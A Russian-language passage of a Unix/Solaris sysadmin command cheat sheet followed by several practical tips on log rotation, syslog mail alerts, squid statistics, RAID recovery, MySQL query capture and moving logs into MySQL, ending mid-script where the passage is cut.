    [vi] : %s/existing/new/g Поиск и замена текста в vi
    [vi] :set list Показать неотображаемые символы в vi
    [vi] :set nu Пронумеровать строки в vi
    [vi] :set ts=[num] Установить значение табуляции в vi

    Файловая система
    /sbin/uadmin x x Синхронизация файловых систем и быстрая перезагрузка
    awk ' END {print NR}' file_name Вывести количество строк в файле
    cat /dev/null > filename Нулевой вывод в файл без прерывания пайпа
    dd if=/dev/rdsk/... of=/dev/rdsk/... bs=4096 Сделать зеркало загрузочного диска
    df -k | grep dg| awk '{print $6}' |xargs -n 1 umount Отмонтировать все файловые системы в группе дисков dg
    fsck -F ufs -o b=97472 /dev/rdsk/c0t0d0s0 Проверить и восстановить файловую систему UFS на c0t0d0s0 используя альтернативные суперблоки
    fsck -F ufs -y /dev/rdsk/c0t0d0s0 Восстановить файловую систему UFS на c0t0d0s0 без подтверждения
    fsck -F ufs /dev/rdsk/c0t0d0s0 Проверить файловую систему UFS на c0t0d0s0
    gzip -d -c tarball.tgz | (cd /[dir];tar xf - ) & Распаковка архива в указанное место
    gzip -dc file1.tar.gz | tar xf - Распаковка архива
    ln [-fhns] Создать жесткую или мягкую ссылку
    ls -al | awk '$3 == "oracle" || $3 == "root" {print $9}' Вывод всех файлов, владельцем которых является
    ls -l | sort +4n Список файлов по размеру
    ls -la | awk '{ print $5," ",$9 }' | sort -rn Размер файлов в текущем каталоге
    ls -lR | awk '{total +=$5};END {print "Total size: " total/1024/1024 "MB" }' Рекурсивный подсчет размера каталогов в Мб
    mkisofs -l -L -r -o [image-name].iso [directory] Создать образ ISO из каталога
    mount -F ufs -o rw,remount / Перемонтировать корневой раздел в rw
    mount -o remount,logging /spare Перемонтировать ro в rw aи включить журналирование ufs
    mount -f pcfs /dev/dsk/c0d0p1 /export/dos Примонтировать раздел DOS
    mv [filename]{,.new_suffix} Переименовать файл
    pax -rw . /newdir Альтернативный метод копирования каталогов
    prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2 Клонировать таблицу разделов
    tar cf - . | (cd /newdir ; tar xf -) Рекурсивное копирование файлов и разрешенй
    tar cvf filename.tar Создать архив
    tar xvf filename.tar Распаковать архив
    X=$(wc -l < filename); echo $X Подсчет количества строк в файле (ksh)
    zcat Распаковка patch_file
    zcat [cpio file] | cpio -itmv Показать содержимое cpio

    Передача файлов
    find . -depth | cpio -pdmv /path/tobe/copied/to Быстрая альтернатива cp -pr
    find . -follow | cpio -pdumL /path/tobe/copied/to Копирование с символическими ссылками
    get filename.suffix |"tar xf -" Недокументированная возможность FTP
    ssh cd /some/directory \&\& tar cf - | ssh cd /some/direstory \&\& tar xvf - Переместить файлы без фактического обращения к ним
    put "| tar cf - ." filename.tar Недокументированная возможность FTP
    sendport Команда FTP, служащая для передачи большого количества файлов в пределах одной сессии

    Общие
    /bin/printf '%d\n' '0x' Преобразование шестнадцатеричного числа в десятичное
    /usr/bin/catman -w Создать индекс базы данных страниц руководства man
    FQ_FILENAME=; echo ${FQ_FILENAME%/*}
    mailx -H -u Список заголовков писем конкретного пользователя
    ps -ef | grep -i $@
    set filec Установить автодополнение имен файлов для csh
    uuencode [filename] [filename] | mailx -s "Subject" [user to mail] Послать файл в аттаче
    xauth -f /home/${LOGNAME} extract - ${DISPLAY} | xauth merge -

    Аппаратное обеспечение
    cfgadm Проверить конфигурирумые аппаратные устройства
    m64config -depth 8|24 Установить глубину цвета M64
    m64config -prconf Вывести конфигурацию адаптера M64
    m64config -res 'video_mode' Изменить разрешение графического адаптера M64
    prtpicl -v | grep sync-speed Обзор скорости синхронизации SCSI

    Ядро
    /usr/sbin/modinfo Информация о модулях ядра
    /usr/sbin/modload Загрузить модуль ядра
    /usr/sbin/modunload -i Выгрузить модуль ядра
    /usr/sbin/sysdef Детальный вывод настройки ядра
    nm -x /dev/ksyms | grep OBJ | more Настраиваемые параметры ядра

    Память
    pagesize -a Доступный размер страницы для Solaris 9
    prtconf | grep Mem Вывод размера памяти на локальной машине

    Информация о сети
    arp -a Вывод arp таблицы
    arp -d myhost Удалить запись определенного хоста из таблицы
    lsof -iTCP@10.20.2.9 Отобразить открытые файлы для определенного хоста
    ndd /dev/arp arp_cache_report Напечатать arp таблицу выводя mac и IP адреса
    netstat -a | grep EST | wc -l Показать число активных подключений к данной машине
    netstat -a | more Показать состояние сокетов на этой машине
    netstat -i Показать состояние TCP/IP интерфейсов
    netstat -k hme0 Недокументированная опция netstat
    netstat -np Аналог команды arp -a, без разрешения имен
    netstat -r Таблица маршрутов
    netstat -rn Таблица маршрутов, без разрешениия имен
    snoop -S -ta [machine] Прослушивание сетевых пакетов, включая размер и время
    traceroute Маршрут к данному адресу

    Настройка сети
    /sbin/ifconfig hme0:1 inet 10.210.xx.xxx netmask 255.255.0.0 broadcast 10.210.xxx.xxx Виртуальный интерфейс
    /sbin/ifconfig hme0:1 up Поднять виртуальный интерфейс
    /usr/sbin/ndd -set /dev/hme adv_100fdx_cap 1
    ifconfig eth0 10.1.1.1 netmask 255.255.255.255 Добавить интерфейс
    ifconfig eth0 mtu 1500 Сменить MTU на интерфейсе
    ndd -set /dev/ip ip_addrs_per_if 1-8192 Задать больше, чем 256 виртуальных IP адресов
    ndd -set /dev/tcp tcp_recv_hiwat 65535 Увеличить TCP буфер приема на Sol2.5.1 с 100BaseTx
    ndd -set /dev/tcp tcp_xmit_hiwat 65535 Увеличить TCP буфер передачи на Sol2.5.1 с 100BaseTx

    Процессы
    /usr/proc/bin/ptree Вывести дерево родителя/детей для процесса
    /usr/proc/bin/pwdx Вывести рабочий каталог процесса
    /usr/ucb/ps -aux | more Отобразить использование CPU % для каждого процесса
    /usr/ucb/ps -auxww | grep Получить полный список процессов (очень длинный)
    fuser -uc /var Процессы, запущенные из /var
    ipcs Отчет о межпроцессных взаимодействиях
    kill -HUP `ps -ef | grep [p]roccess | awk '{print $2}'` Послать всем связанным процессам сигнал HUP за один раз
    lsof -i TCP:25 Соотнести порт с приложением
    pfiles Показать файлы, открытые процессом
    pkill -n Убить процесс с определенным именем
    prstat -a Альтернатива команде top
    ps -edf -o pcpu,pid,user,args Форматированый вывод 'ps'
    ps -ef | grep -i | awk '{ print $2 }' Создать список PID содержащих
    ps -ef | grep | grep -v grep | cut -c 10-15 | xargs kill -9 Найти и убить процесс
    ps -ef | more Показать все запущенные процессы
    ps -ef|grep -v "0:00"|more Получить список любого процесса с процессорным временем больше чем 0:00
    ps -eo pid,args Список процессов в простом формате
    ps -fu oracle|grep pmon Посмотреть, какие инстансы Oracle запущены
    top -b 1 Отобразить наиболее прожорливый процесс и выйти

    Управление ресурсами
    /usr/bin/ldd [filename] Список динамических зависимостей выполняемого файла
    /usr/proc/bin/pmap pid Отчет о карте адресного пространства процесса

    Маршрутизация
    route add net 128.50.0.0 128.50.1.6 1 Добавить маршрут
    route change 128.50.0.0 128.50.1.5 Сменить маршрут
    route delete net 128.50.0.0 128.50.1.6 Удалить маршрут
    route flush Очистить таблицу маршрутов. Удаляются все записи
    route get [hostname] Определить интерфейс, используемый для доступа к удаленному хосту
    route monitor Мониторинг таблицы маршрутов

    Поиск
    egrep "patterna|patternb" Поиск нескольких шаблонов в одном файле
    find -name "" -exec rm -rf {} \; Рекурсивный поиск файлов по имени и их удаление
    find . -type f -print | xargs grep -i [PATTERN] Рекурсивный grep в файле
    find . ! -mtime - | /usr/bin/xargs rm -rf Найти и удалить файлы старше
    find . -exec egrep -li "str" {} \; Поиск строк в файлах, начинающихся с cwd
    find . -mtime -1 -type f Поиск недавно измененных файлов
    find . -type f -exec grep "" {} \; -print Искать файлы, содержащие в пределах дерева каталогов
    find ./ \! -type f -exec ls -l {} \;|grep -v '^[l|p|s|-]'|grep -v 'total' | wc -l Посчитать число подкаталогов в каталоге
    find / -fstype nfs -prune -o fstype autofs -prune -o -name filename -print Поиск вне файловых систем nfs
    find / -mtime <# of days> Найти файлы, модифицированные # дней назад
    find / -perm -2 -a ! -type l Найти файлы, доступные на запись 'others'
    find / -type f |xargs ls -s | sort -rn |more Список файлов, занимающих много дискового пространства
    find / -user Найти все файлы, принадлежащие
    find / | grep [file mask] Быстрый способ найти файл
    find /proc/*/fd -links 0 -type f -size +2000 -ls Поиск больших файлов, которые были удалены или перемещены, но остались открыты каким-либо процессом
    grep /var/sadm/install/contents| awk '{ print $1 ' ' $10 }' Найти какому пакету принадлежит файл
    ls -lR | grep Быстрая альтернатива find

    Безопасность
    crypt abc && rm abc.cr Дешифрация файла с помощью crypt
    crypt abc.cr && rm abc Шифрация файла с помощью crypt
    echo 'Please go away' > /etc/nologin Прекратить вход пользователей в систему
    find / -perm -0777 -type d -ls Найти все каталоги на запись
    find / -type f -perm -2000 -print Найти все SGID файлы
    find / -type f -perm -4000 -print Найти все SUID файлы
    trap 'exit 0' 1 2 3 9 15 Перехват специального сигнала и выход
    vi -x [filename] Зашифровать файл с помощью vi

    Установки терминала
    stty erase ^? Для удаления символа использовать клавишу delete
    stty erase ^H Для удаления символа использовать клавишу backspace
    stty sane Перезапустить терминал после просмотра бинарного файла
    tput rmacs Перезагрузить стандартный набор символов

    Snoop
    snoop -d pcelx0 Просматривать все пакеты на устройстве
    snoop -i /tmp/mylog -o /tmp/newlog host1 Все пакеты с host1 записывать в лог
    snoop -i /tmp/mylog -v -p101 Показать отладочную информацию по пакету 101 из лога
    snoop -i /tmp/mylog host1 host2 Просмотреть лог на предмет пакетов между hosts1 и host2
    snoop -o /tmp/mylog pcelx0 Сохранить все пакеты с устройства в лог
    snoop -s 120 Отобразить первые 120 байт заголовка пакета
    snoop -v arp Захват широковещательных пакетов arp в вашей сети
    snoop port [port-number] Монитроинг конкретного порта

    Файлы swap
    mkfile -nv 10m /export/disk1/myswap Создает пустой 10-и мегабайтный свап-файл в /export/disk1
    mkfile -v 10m /export/disk1/myswap Создает файл подкачки на 10 мегабайтов в /export/disk1

    Пространство swap
    swap -a /export/disk1/swapfile Добавить своп-файл
    swap -d /dev/dsk/c0t0d0s4 Удалить свап-устройство
    swap -l Вывести список текущих свап-устройств
    swap -s Вывод доступного пространства

    Конфигурация системы
    /usr/sbin/eeprom auto-boot? false Изменить переменную autoboot? таким образом, чтобы система загружалась только после подтверждения
    /usr/sbin/eeprom diag-switch? true Провести диагностику во время следующей загрузки
    /usr/sbin/eeprom local-mac-address?=true Настройка многопортовой сетевой карты
    /usr/sbin/grpck Проверить синтаксис /etc/group
    /usr/sbin/pwck Проверить синтаксис /etc/passwd
    /usr/sbin/sys-unconfig Очистить сетевую конфигурацию
    /usr/sbin/useradd Добавить пользователя
    drvconfig ; disks Добавить в систему диск горячей замены

    Системная информация и мониторинг
    /bin/echo "0t${stamp}>Y\n Перевод времени UNIX в удобоваримую форму
    /usr/platform/`/bin/uname -i`/sbin/prtdiag -v Диагностика системы
    /usr/sbin/eeprom Просмотр параметров eeprom
    /usr/sbin/prtconf -vp Детальный просмотр системной конфигурации
    coreadm -e log Отчет ядра
    grep "\-root" /var/adm/sulog | grep -v \+ | tail -25 Перечислить все попытки переключения на аккаунт root
    isainfo -bv Быстрая проверка режима 32 или 64 bit
    last Показать, кто и откуда входил в систему
    logger -i
    prtconf -pv | grep banner-name |awk -F\' ' { print $2 } ' | head -1 Показать модель сервера
    prtpicl -v | grep wwn Команда поиска постоянно выделенной памяти (?)
    psradm -f [processor id] Отключить процессор (?)
    psrinfo | wc -l Показать число процессоров
    sar -u Отчет о загрузке CPU
    sar [ -aA ] [ -o filename ] t [ n ] Обобщенный отчет об активности системы
    telnet 13 | grep ':' Получить время удаленной машины
    uname -a Отобразить системную информацию
    uname -X Отобразить системную информацию
    vmstat 10 Отчет о основных системных параметрах в течении 10 секунд
    who -b Причина последней перезагрузки
    ypcat hosts | sort -n -t. +0 -1 +1 -2 +2 -3 +3 -4 Взять вывод команд "ypcat hosts" или "cat /etc/inet/hosts" и сортировать по IP
     
    ----* Как в Solaris примонтировать локально .iso образ.   [комментарии]
     
      lofiadm -a cdrom.iso
      mount -F hsfs /dev/lofi/1 /mnt
      umount /mnt
      lofiadm -d /dev/lofi/1
    
     

       Syslog, ведение логов

    ----* Аудит системных пользователей (можно через Ansible)   Автор: ilya  [комментарии]
     
    Очень часто, на новом месте, хочется понимать всю картину (от слова совсем),
    кто какие ключи, какой пользователь, какой сервер и т.д. Простите за качество,
    но работает, суть в следующем, скрипт запускается на сервере (python2 без
    зависимостей), нагло грепает /etc/passwd /etc/shadow и пользовательские
    authorized_keys. В stdout выдает только тех пользователей у которых
    присутствует пароль и/или приватный ключ (читай могут войти удалённо):
    
    Скрипт: https://github.com/iHile/InventoriZE
    Копия: https://www.opennet.ru/soft/audit-system-users.py
    
    В Ansible интегрируется банально просто:
    
       - name: Executing audit-system-users script...
         script: "audit-system-users.py --json"
         environment:
           INVENTORY_HOSTNAME: "{{ inventory_hostname }}"
           INVENTORY_GROUPS: "{{ group_names | join(',') }}"
           ANSIBLE_DATE_TIME_ISO8601: "{{ ansible_date_time.iso8601 }}"
           ANSIBLE_HOST: "{{ ansible_host }}"
           INVENTORY_DESCRIPTION: "{{ inventorize_description }}"
         args:
           executable: "{{ ansible_python.executable }}"
         register: audit_system_users_run
    
    Предложенный вывод можно скармливать в ELK и получить довольно чёткую картину происходящего.
    
    p.s. Обратите внимание, что никаких штук вроде LDAP/FREEIPA - не нужно, утилита
    самодостаточно грепает активных пользователей и выдает в stdout/json
    
     
    ----* Настройка ротации логов MongoDB   Автор: linuxquestions.ru  [комментарии]
     
    По умолчанию MongoDB обычно не имеет настройки ротации логов.
    Это порой приводит к неприятным последствиям, особенно на арбитрах в реплике.
    Обычно их устанавливают на разного рода микроинстансы с минимальным количеством
    свободного места, так как основная задача арбитров следить за прохождением
    выборов и место под хранение данных им нужно минимальное.
    
    По умолчанию mongodb при вызове ротации логов просто переименовывает файл. Эту
    ротацию можно вызвать прямо из консоли mongoclient:
    
        use admin
        db.runCommand( { logRotate : 1 } )
    
    Это не совсем удобно для автоматизации, поскольку отсутствует механизм удаления
    больших и старых файлов. Однако такой механизм присутствует в утилите
    logrotate, которая имеется почти во всех популярных дистрибутивах Linux.
    
    Для корректной настройки классической ротации логов с помощью logrotate.d.нам
    потребуется немного исправить /etc/mongod.conf:
    
       systemLog:
           destination: file
           path: "/var/log/mongodb/mongod.log"
           logAppend: true
           logRotate: reopen
    
    logAppend: true нам нужен с целью дописывания в конец файла, а logRotate:
    reopen нужен для того, чтобы файл переоткрывался после ротации, т.к. мы будем
    ротировать файл с помощью внешней утилиты logrotate.
    
    Советую также обратить внимание на путь к pid-файлу демона mongod (секция
    processManagement, опция pidFilePath), он нам потребуется позднее.
    
    После исправления файла конфигурации не забудьте перезапустить MongoDB.
    
    Теперь нам необходимо создать файл /etc/logrotate.d/mongodb со следующим содержимым:
    
        /var/log/mongodb/mongod.log
        {
            rotate 7
            daily
            size 1M
            missingok
            create 0600 mongodb mongodb
            delaycompress
            compress
            sharedscripts
            postrotate
                    /bin/kill -SIGUSR1 $(cat /var/run/mongodb.pid)
            endscript
        }
    
    Команда kill посылает сигнал SIGUSR1 процессу, id которого считывается из
    /var/run/mongodb.pid (здесь должен быть путь из pidFilePath).
    
    Протестировать данный файл достаточно легко:
    
       logrotate --force /etc/logrotate.d/mongodb
    
     
    ----* Отправка сообщений Syslog на почту   Автор: Jordan  [комментарии]
     
    Возникла необходимость рассылать некоторые уведомления из Syslog-a на почту. К
    сожалению такой функциональности по умолчанию в systlg не было. Порывшись в
    интернете нашел два способа решения проблемы.
    
    
  • замена Syslog на Rsyslog с использованием модуля ommail
  • Написание скрипта для крона, который будет отслеживать изменения в логах с дальнейшей отправкой. Ни один из методов не показался интересным, поэтому вернулся к руководству. В руководстве наткнулся на следующее: The action field of each line specifies the action to be taken when the selector field selects a message. There are five forms: A vertical bar ("|"), followed by a command to pipe the selected messages to. То есть, "можно перенаправить сообщение на команду". В связи с чем появилась первая попытка console.* |mail -s "info" "user@mail.net" Закончившаяся фиаско, так как сообщения накапливались в буфере и отправка происходила только после рестарта самого сислога. После чего было решено использовать простой скрипт console.* /var/log/console.log console.* |/home/user/toor/sysmail.sh где сам sysmail.sh #!/usr/local/bin/bash read data echo $data | mail -s "info" "user@mail.net" В итоге получаем следующее. События записываются в файл на системе и отсылаются на почту user@mail.net с темой info.
  •  
    ----* Скрипт генерации статистики для Free-SA   Автор: Linjan  [комментарии]
     
    Анализатор логов Squid Free-SA (http://free-sa.sourceforge.net/) значительно
    удобнее и быстрее SARG. Во FreeBSD его можно установить из портов
    (/usr/ports/www/free-sa/). Настраивается программа достаточно тривиально,
    достаточно использовать поставляемый в комплекте (после установки порта
    находится в /usr/local/etc/free-sa/) пример free-sa.conf.sample, поменяв там
    путь к логам Squid в директиве "log_file".
    
    Через файл usertab (путь задается директивой username_file) можно определить
    псевдонимы для замены IP адресов именами пользователей, например, указав
    "192.168.0.1 Директор". При необходимости меняем путь к директории для
    сохранения сгенерированных отчетов (target_directory) и директории для
    сохранения временного кэша данных из лога Squid (директива cache_directory).
    
    Базовые параметры можно переопределить вручную, запустив из командной строки:
    
       free-sa -d 20.09.2010-21.09.2010 -l путь_к_логу_squid -o директория_для_сохранения_отчетов
    
    Ниже представлен скрипт для генерации статистики по заданным интервалам:
    
       #!/bin/bash
    
       # Modification for free-sa
       # Idea:
       ## SARG - Daily/Weekly/Monthly Squid usage reports creation tool
       ## Written by Ugo Viti <ugo.viti@initzero.it>
       ## Thanks for enanchements to:
       ## - martijn
       ## - Stas Degteff https://sourceforge.net/users/stas_degteff/
       # Modification by Linjan <tank1992@gmail.com>
    
       FREESA="/usr/local/bin/free-sa"
       CONFIG="/usr/local/etc/free-sa/free-sa.conf"
       TMPFILE=`/bin/mktemp`
       ERRORS="${TMPFILE}.errors"
    
       # Date Calc
       MANUALDATE=$2
       case "$(uname)" in
       "FreeBSD")
            TODAY=$(date +%m/%d/%Y)
            YESTERDAY=$(date -v-1d +%m/%d/%Y)
            WEEKAGO=$(date -v-1w +%m/%d/%Y)
            MONTHAGO=$(date -v-1m +%m/01/%Y)-$(date -v-1m +%m/31/%Y)
      ;;
       *)
            TODAY=$(date --date "today" +%m/%d/%Y)
            YESTERDAY=$(date --date "1 day ago" +%m/%d/%Y)
            WEEKAGO=$(date --date "1 week ago" +%m/%d/%Y)
            MONTHAGO=$(date --date "1 month ago" +%m/01/%Y)
      ;;
      esac
    
      manual ()
      {
        if [ -z "$MANUALDATE" ]
        then
          echo "No date given, please specify a valid date (MM/DD/YYYY)"
        else
          $FREESA -f $CONFIG -d $MANUALDATE-$MANUALDATE
        fi
      }
    
      today ()
      {
        $FREESA -f $CONFIG -d $TODAY-$TODAY >$ERRORS 2>&1
      }
     
      daily ()
      {
        $FREESA -f $CONFIG -d $YESTERDAY-$YESTERDAY >$ERRORS 2>&1
      }
    
      weekly ()
      {
        $FREESA -f $CONFIG -d $WEEKAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      monthly ()
      {
        $FREESA -f $CONFIG -d $MONTHAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      case $1 in
       manual)
           manual
           ;;
       today)
           today
           ;;
       daily)
           daily
           ;;
       weekly)
           weekly
           ;;
       monthly)
           monthly
           ;;
        *)
           echo "Usage: $0 [OPTIONS]"
           echo
           echo "Allowed options:"
           echo "    manual,  Create Manual report"
           echo "    date format is MM/DD/YY"
           echo "     today,  Create Today report"
           echo "     daily,  Create Daily report"
           echo "    weekly,  Create Weekly report"
           echo "   monthly,  Create Monthly report"
           exit 0
      esac
    
    Помещаем данный скрипт в директорию, откуда будем его запускать, присваиваем
    права запуска и добавляем эти строки в crontab:
    
       00 00 * * * freesa-reports daily
       00 01 * * 1 freesa-reports weekly
       30 02 1 * * freesa-reports monthly
    
     
    ----* Борьба с kernel panic в Linux-ядре 2.6.35 и выше   Автор: Аноним  [комментарии]
     
    Начиная с версии 2.6.35 в Linux-ядре появилась полезная функция "ramoops",
    позволяющая в случае краха сохранять информационный дамп состояния ядра в
    памяти для последующего анализа. Данные сохраняются только при мягкой
    перезагрузке, без очистки прошлого состояния памяти. Вкомпилировать данную
    функцию в ядро или загружать модулем "ramoops" - без разницы.
    
    Единственная хитрость - сначала нужно зарезервировать память в ядре.
    Сделать это можно указав ядру параметр memmap=256K@0xfc0000
    (резервируем 256К перед ядром).
    
    Если ramoops в ядре, то добавляем параметры 
    
       ramoops.mem_address=0xfc0000 и
       ramoops.mem_size=0x40000
    
    параметр ramoops.dump_oops=1 является умолчанием, так что его можно не указывать.
    
    Для модуля "ramoops" эти параметры нужно указать при загрузке.
    
    Теперь чтобы ядро не осталось в мертвом виде, не забываем сделать
    
       echo 10 >/proc/sys/kernel/panic
    
    и (если нужно, а иногда полезно)
    
       echo 1 >/proc/sys/kernel/panic_on_oops
    
    Теперь проверяем при помощи crash-а через Alt-SysRq-C.
    
    После перезагрузки, текст crash-дампа будет лежать в памяти, начиная с адреса 0xfc0000.
    
    Достать его оттуда можно при помощи
    
       dd if=/dev/mem bs=256k skip=63 count=1 >>crash.txt
    
    либо при помощи простенькой программы, которая открывает /dev/mem и с
    указанного смещения читает данные.
    
    Для сохранения дампа на диск следует использовать похожую функцию mtdoops.
    
    Дополнение: Для работы в ядре необходимо выключить опцию CONFIG_STRICT_DEVMEM 
    
     
    ----* Быстрый способ учета трафика на сетевых интерфейсах (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
     
    Дано:
    Почтовый сервер на базе Ubuntu 8.10
    Четыре сетевых интерфейса
    
    Необходимо:
    Считать трафик на каждом интерфейсе, вести статистику.
    
    Решение:
    vnstat (http://humdi.net/vnstat/) - маленький консольный пакет, который считает трафик 
    на указанных интерфейсах и не загружает систему. Показывает статистику по часам, дням неделям и тд.
    Не требует для своей работы привилегий суперпользователя, поддерживает Linux,
    *BSD и Darwin/MacOS X.
    Для доступа к статистике дополнительно доступен web-интерфейс.
    
    Устанавливаем vnstat:
    
       #apt-get install vnstat
    
    Инициализируем базу данных для каждого необходимого интерфейса:
    
       #vnstat -u -i eth0
       #vnstat -u -i eth1
       #vnstat -u -i eth2
    
    Далее необходимо сказать vnstat запустить мониторинг интерфейса.
    Это можно сделать путем ifdown/ifup для каждого интерфейса,
    либо, если нет желания 
    разрывать соединения выполнить для каждого:
    
       #IFACE=eth${i}
       #export IFACE
       #/bin/sh -x /etc/network/if-up.d/vnstat
    
    где ${i} порядковый номер интерфейса.
    
    Все, мониторинг готов, теперь по прошествии нескольких минут можно смотреть статистику
    
       #vnstat -q 
    
     
    ----* Восстановление программного RAID в Debian Lenny   Автор: dimarem  [комментарии]
     
    Пришло сообщение, что отказал RAID:
    
      This is an automatically generated mail message from mdadm running on
      A DegradedArray event had been detected on md device /dev/md0. 
      Faithfully yours, etc.
      P.S. The /proc/mdstat file currently contains the following:
      Personalities : [raid1]
      md0 : active raid1 sda2[1]
         388604224 blocks [2/1] [_U]
      unused devices: <none>
    
    
    
    Смотрим, что случилось:
    
       #cat /proc/mdstat
    
       Personalities : [raid1]
       md0 : active raid1 sdb2[1]
         388604224 blocks [2/1] [_U]
       
       #mdadm --detail /dev/md0
    
       /dev/md0:
           Version : 00.90
        Creation Time : Thu Feb 19 14:59:47 2009
        Raid Level : raid1
        Array Size : 388604224 (370.60 GiB 397.93 GB)
        Used Dev Size : 388604224 (370.60 GiB 397.93 GB)
        Raid Devices : 2
       Total Devices : 1
       Preferred Minor : 0
       Persistence : Superblock is persistent
    
       Update Time : Thu Mar 12 11:23:38 2009
             State : active, degraded
       Active Devices : 1
       Working Devices : 1
       Failed Devices : 0
       Spare Devices : 0
       UUID : 60b0013f:7372c5d4:262fce52:c3c9a424
       Events : 0.321
    
       Number   Major   Minor   RaidDevice State
          0       0        0        0      removed
          1       8       18        1      active sync   /dev/sdb2
    
    Вынимаем битый диск и подсовываем такой же по размеру, проверяем:
    
       # fdisk -l
       Disk /dev/sda: 400.0 GB, 400088457216 bytes
       Disk /dev/sda doesn't contain a valid partition table
    
       Disk /dev/sdb: 400.0 GB, 400088457216 bytes
       Device Boot      Start         End      Blocks   Id  System
       /dev/sdb1               1         262     2104483+  82  Linux swap / Solaris
       /dev/sdb2   *         263       48641   388604317+  fd  Linux raid autodetect
    
    Создаем разделы, как на живом диске:
    
       # sfdisk -d /dev/sdb | sfdisk /dev/sda
    
    Проверяем разбивку:
    
       # fdisk -l
       Disk /dev/sda: 400.0 GB, 400088457216 bytes
       Device Boot      Start         End      Blocks   Id  System
       /dev/sda1               1         262     2104483+  82  Linux swap / Solaris
       /dev/sda2   *         263       48641   388604317+  fd  Linux raid autodetect
    
       Disk /dev/sdb: 400.0 GB, 400088457216 bytes
       Device Boot      Start         End      Blocks   Id  System
       /dev/sdb1               1         262     2104483+  82  Linux swap / Solaris
       /dev/sdb2   *         263       48641   388604317+  fd  Linux raid autodetect
    
    Теперь можно подключить новый диск в raid:
    
       # mdadm --add /dev/md0 /dev/sda2
    
       mdadm: added /dev/sda2
    
    Проверяем как идет процесс ребилдинга:
    
       # cat /proc/mdstat
       Personalities : [raid1]
       md0 : active raid1 sda2[2] sdb2[1]
         388604224 blocks [2/1] [_U]
         [>....................]  recovery =  0.5% (1944960/388604224) finish=102.7min speed=62740K/sec
    
       unused devices: <none>
    
    и не забыть про grub:
    
       # grub
       grub> root (hd1,0)
       grub> setup (hd1)
       grub> quit
    
    И все готово.
    
     
    ----* Временное ведение лога всех запросов к MySQL (доп. ссылка 1)   [комментарии]
     
    Использование опций конфигурации log-slow-queries и general_log, позволяющих вести полный лог 
    медленных или всех запросов, требует перезапуска mysql для включения или выключения ведения логов, 
    что неудобно в ситуации, когда нужно проанализировать запросы только в текущий момент.
    Для анализа запросов (не через локальный сокет) на лету можно воспользоваться сетевым сниффером.
    
    Перехватываем и записываем срез трафика MySQL в файл:
    
       tcpdump -i eth0 port 3306 -s 1500 -w tcpdump.out
    
    Выделяем из дампа SQL запросы, используя утилиту tshark из комплекта сниффера
    Wireshark (http://www.wireshark.org/):
    
       tshark -r tcpdump.out -d tcp.port==3306,mysql -T fields -e mysql.query > query_log.out
    
    Удаляем из полученного лога пустые и неинформативные строки:
    
       cat query_log.out | grep -vE "^(commit.*|autocommit.*|rollback.*|)$" | awk '{print $0 ";"}' > query_log_no_blank.out
    
    Полученный лог удобно анализировать утилитой mysqlsla (http://hackmysql.com/mysqlsla)
    
     
    ----* Помещение данных о входящем трафике из ipcad в лог squid (доп. ссылка 1)   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Чтобы анализаторы логов прокси сервера squid отображали данные о пересылках в обход прокси, 
    например данные по почтовому или ssh трафику, можно сохранить данные о таких
    пересылках в логе squid.
    
    Настройки ipcad:
    
        capture-ports enable;
        interface ppp* filter "ip and not dst net 192.168.0.0/16";
        aggregate 0.0.0.0/0 strip 32; /* Считаем все адреса */
        /* Теперь укажем какие порты как отображать */
        aggregate 1-19 into 65535;
        aggregate 20-21 into 21;
        aggregate 22-23 into 22;
        aggregate 25 into 25;
        aggregate 24 into 65535;
        aggregate 26-79 into 65535;
        aggregate 80-81 into 0;
        aggregate 82-109 into 65535;
        aggregate 110 into 110;
        aggregate 111-442 into 65535;
        aggregate 443 into 443;
        aggregate 444-3127 into 65535;
        aggregate 3128 into 0;
        aggregate 3129-65535 into 65535;
    
    Сам файл обработки ipcad и записи в сквидовский лог:
    
        #!/bin/sh
        net="192.168"
        ttime=`/usr/bin/rsh localhost sh ip acco|/bin/grep 'Accounting data saved'| /bin/awk '{print ($4)}'`
        /usr/bin/rsh localhost clear ip accounting
        /usr/bin/rsh localhost show ip accounting checkpoint|/bin/grep $net|/bin/awk -v vtime=$ttime '{print (vtime".000",1,$1,"TCP_MISS/200",$4,"CONNECT",$2":"$6,"-","DIRECT/"$2,"-")}' >>/var/log/squid/access.log
    
    Вместо 192.168 Вы можете указать свою сеть, которую брать с ipcad'а и заносить
    в лог прокси сервера Squid.
    
    Таким образом весь трафик, указанный в настройках ipcad'а будет отображен в access.log сквида, 
    который в данном примере находится в папке /var/log/squid.
    
     
    ----* Быстрй перенос лог-файлов в MySQL   Автор: Alexey Lazarev  [комментарии]
     
    Наверняка, каждый сталкивался с задачей переноса лог-файлов из текстовых файлов в различные БД. 
    И, наверняка, каждый столкнувшийся начинал писать собственные скрипты под это дело. 
    Причем большинство виденных мной скриптов основывались на построчном чтении/переносе данных. 
    Данный способ, конечно, хорош и имеет право на существование, но, к сожалению не очень быстр.
     Но в MySQL существует способ перенести данные из обычных текстовых файлов в БД 
    очень и очень быстро при помощи директивы LOAD DATA INFILE
    
    Пример такого скрипта:
    
    #!/bin/bash
    nld='/var/log/squid3'    # Путь к лог-файлам
    nbd='/opt/backup/squid3' # Путь к папке резервного хранения лог-файлов
    nrc=`squid3 -k rotate`   # Команда ротации лог-файлов для данного сервиса
    nlf='/var/log/logs2mysql/squid.log' # На всякий случай пишем что и когда делали
    
    mh='localhost' # Mysql host
    mu='root'      # Пользователь mysql
    mp='secret'    # Его пароль
    mb='logs'      # База данных
    mt='squid'     # Таблица
    
    echo `date +"%F %T"` "Начало выгрузки" >> $nlf && \
    
    $nrc && \
    for i in `ls $nld | grep access.log.`;
    do
        year=`date +"%Y"`
        month=`date +"%m"`
        day=`date +"%d"`
        prefix=`date +"%F-%H"`
        test -d $nbd/$year/$month/$day || mkdir -p $nbd/$year/$month/$day && \
        cat $nld/$i | sed -e 's/\"/\\\"/g' | sed -e "s/\'/\\\'/g" | \
          awk ' {print strftime("%F",$1),strftime("%T",$1),$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11} ' | \
          sed -e "s/ /\t/g" > $nld/prepare.log && \
        chmod 0777 $nld/prepare.log && \
